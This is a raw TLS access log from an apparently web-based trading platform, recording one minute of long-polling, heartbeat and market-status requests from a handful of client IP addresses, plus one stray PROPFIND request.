[09/Jan/2026:09:49:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923660226 HTTP/1.1" -
[09/Jan/2026:09:49:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923646800 HTTP/1.1" -
[09/Jan/2026:09:49:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923647290 HTTP/1.1" -
[09/Jan/2026:09:49:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:49:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923652254 HTTP/1.1" -
[09/Jan/2026:09:49:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923650056 HTTP/1.1" -
[09/Jan/2026:09:49:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923666222 HTTP/1.1" -
[09/Jan/2026:09:49:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923651822 HTTP/1.1" -
[09/Jan/2026:09:49:44 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923653297 HTTP/1.1" -
[09/Jan/2026:09:49:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923657399 HTTP/1.1" -
[09/Jan/2026:09:49:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923656052 HTTP/1.1" -
[09/Jan/2026:09:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923656853 HTTP/1.1" -
[09/Jan/2026:09:49:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923672227 HTTP/1.1" -
[09/Jan/2026:09:49:50 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923659053 HTTP/1.1" -
[09/Jan/2026:09:49:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923659297 HTTP/1.1" -
[09/Jan/2026:09:49:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923662522 HTTP/1.1" -
[09/Jan/2026:09:49:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:49:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923661886 HTTP/1.1" -
[09/Jan/2026:09:49:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923662051 HTTP/1.1" -
[09/Jan/2026:09:49:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923678226 HTTP/1.1" -
[09/Jan/2026:09:49:55 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923664112 HTTP/1.1" -
[09/Jan/2026:09:49:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923667656 HTTP/1.1" -
[09/Jan/2026:09:49:56 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923665297 HTTP/1.1" -
[09/Jan/2026:09:49:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923666926 HTTP/1.1" -
[09/Jan/2026:09:49:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923668053 HTTP/1.1" -
[09/Jan/2026:09:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923684230 HTTP/1.1" -
[09/Jan/2026:09:50:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923672805 HTTP/1.1" -
[09/Jan/2026:09:50:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923671300 HTTP/1.1" -
[09/Jan/2026:09:50:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923671962 HTTP/1.1" -
[09/Jan/2026:09:50:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923674054 HTTP/1.1" -
[09/Jan/2026:09:50:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923677868 HTTP/1.1" -
[09/Jan/2026:09:50:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923690232 HTTP/1.1" -
[09/Jan/2026:09:50:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923676993 HTTP/1.1" -
[09/Jan/2026:09:50:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923677300 HTTP/1.1" -
[09/Jan/2026:09:50:09 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:09:50:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923682919 HTTP/1.1" -
[09/Jan/2026:09:50:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923680054 HTTP/1.1" -
[09/Jan/2026:09:50:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923696232 HTTP/1.1" -
[09/Jan/2026:09:50:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923682025 HTTP/1.1" -
[09/Jan/2026:09:50:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923683291 HTTP/1.1" -
[09/Jan/2026:09:50:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923688058 HTTP/1.1" -
[09/Jan/2026:09:50:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923686047 HTTP/1.1" -
[09/Jan/2026:09:50:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923687078 HTTP/1.1" -
[09/Jan/2026:09:50:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923702225 HTTP/1.1" -
[09/Jan/2026:09:50:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923689295 HTTP/1.1" -
[09/Jan/2026:09:50:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923693196 HTTP/1.1" -
[09/Jan/2026:09:50:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:09:50:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923692117 HTTP/1.1" -
[09/Jan/2026:09:50:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923707288 HTTP/1.1" -
[09/Jan/2026:09:50:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923692048 HTTP/1.1" -
[09/Jan/2026:09:50:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923695301 HTTP/1.1" -
[09/Jan/2026:09:50:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923698344 HTTP/1.1" -
[09/Jan/2026:09:50:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923697143 HTTP/1.1" -
[09/Jan/2026:09:50:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923712312 HTTP/1.1" -
[09/Jan/2026:09:50:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923698049 HTTP/1.1" -
[09/Jan/2026:09:50:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923703540 HTTP/1.1" -
[09/Jan/2026:09:50:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923702187 HTTP/1.1" -
[09/Jan/2026:09:50:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923717333 HTTP/1.1" -
[09/Jan/2026:09:50:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923704058 HTTP/1.1" -
[09/Jan/2026:09:50:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923708616 HTTP/1.1" -
[09/Jan/2026:09:50:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923707234 HTTP/1.1" -
[09/Jan/2026:09:50:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923722354 HTTP/1.1" -
